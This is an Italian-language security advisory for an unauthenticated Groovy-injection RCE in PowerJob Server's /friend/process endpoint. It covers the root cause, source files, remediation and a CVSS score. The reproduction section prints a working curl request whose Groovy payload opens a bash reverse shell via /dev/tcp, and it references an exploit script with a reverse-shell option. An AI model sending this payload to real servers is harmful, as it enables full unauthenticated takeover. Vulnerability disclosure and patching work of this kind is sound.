
Exploit di esecuzione remota di codice non autenticato per PowerJob Server tramite iniezione Groovy nell'endpoint /friend/process, che consente l'esecuzione arbitraria di comandi e reverse shell.
/friend/process non autenticato (Iniezione Groovy)Il Server PowerJob (framework distribuito di pianificazione job / calcolo) espone l'endpoint /friend/process sulla sua porta HTTP 10010 del livello di trasporto Worker↔Server senza alcuna autenticazione. L'endpoint riflette un metodo pubblico arbitrario di un Bean Spring arbitrario; un attaccante che invoca GroovyEvaluator.evaluate può eseguire espressioni Groovy arbitrarie, ottenendo esecuzione di codice remota non autenticata. Il docker-compose predefinito pubblica questa porta su 0.0.0.0, quindi un server può essere completamente compromesso senza credenziali.
docker-compose.yml:29-33,47-48 pubblica 10010 (trasporto HTTP), 10086 (AKKA), 10077 (MU) sull'host 0.0.0.0| Elemento | Valore |
|---|---|
| Endpoint di attivazione | POST http://<server>:10010/friend/process |
| Registrazione | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (registrato per tutti e tre i protocolli: HTTP/MU/AKKA) |
| Esecuzione riflessiva | RemoteRequestProcessor.processRemoteRequest() |
| Sink pericoloso | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| Autenticazione mancante | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registrano le route senza alcun controllo di token/firma |
File sorgente chiave (relativi alla radice del repository):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registra le route sulla 10010, nessuna autenticazione)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest si fida completamente dei campi className, methodName, parameterTypes e args del corpo della richiesta — usa Class.forName + SpringUtils.getBean per ottenere qualsiasi Bean Spring e poi invoca uno qualsiasi dei suoi metodi pubblici tramite ReflectionUtils di Spring.GroovyEvaluator è un bean @Component il cui evaluate(String, Object) chiama il motore di script Groovy (ScriptEngineManager) per eseguire eval() direttamente sull'espressione dell'attaccante.La combinazione dei tre elementi equivale a RCE non autenticata.
RemoteProcessReq che punta a GroovyEvaluator.evaluate con un'espressione Groovy arbitraria (es., 'id'.execute().text).AskResponse.data (JSON base64).Ambiente: JDK 17, powerjob-server-starter-5.1.2.jar compilato dal sorgente (profilo daily), server in ascolto su 192.168.49.128:10010. Riverificato su JDK 21 (il payload in forma di shell qui sotto funziona su entrambi; vedere la nota su File.write più sotto).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
Risposta effettiva: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Decodificando in base64 il campo data si ottiene l'output del comando eseguito sulla JVM del server:

In alternativa, è possibile riprodurlo usando lo script:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process fa parte della comunicazione interna Server↔Worker; dovrebbe rifiutare richieste non autenticate, oppure il metodo non dovrebbe essere invocabile da remoto.RemoteRequestProcessor in una lista consentita: limitare className/methodName a handler sicuri definiti dal framework e vietare l'invocazione riflessiva di bean arbitrari.GroovyEvaluator (se deve rimanere, aggiungere autenticazione e una sandbox)./friend/process (S4S_HANDLER_PROCESS) per impostazione predefinita o limitarlo solo a sorgenti interne.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critico
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process è attivabile senza database)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...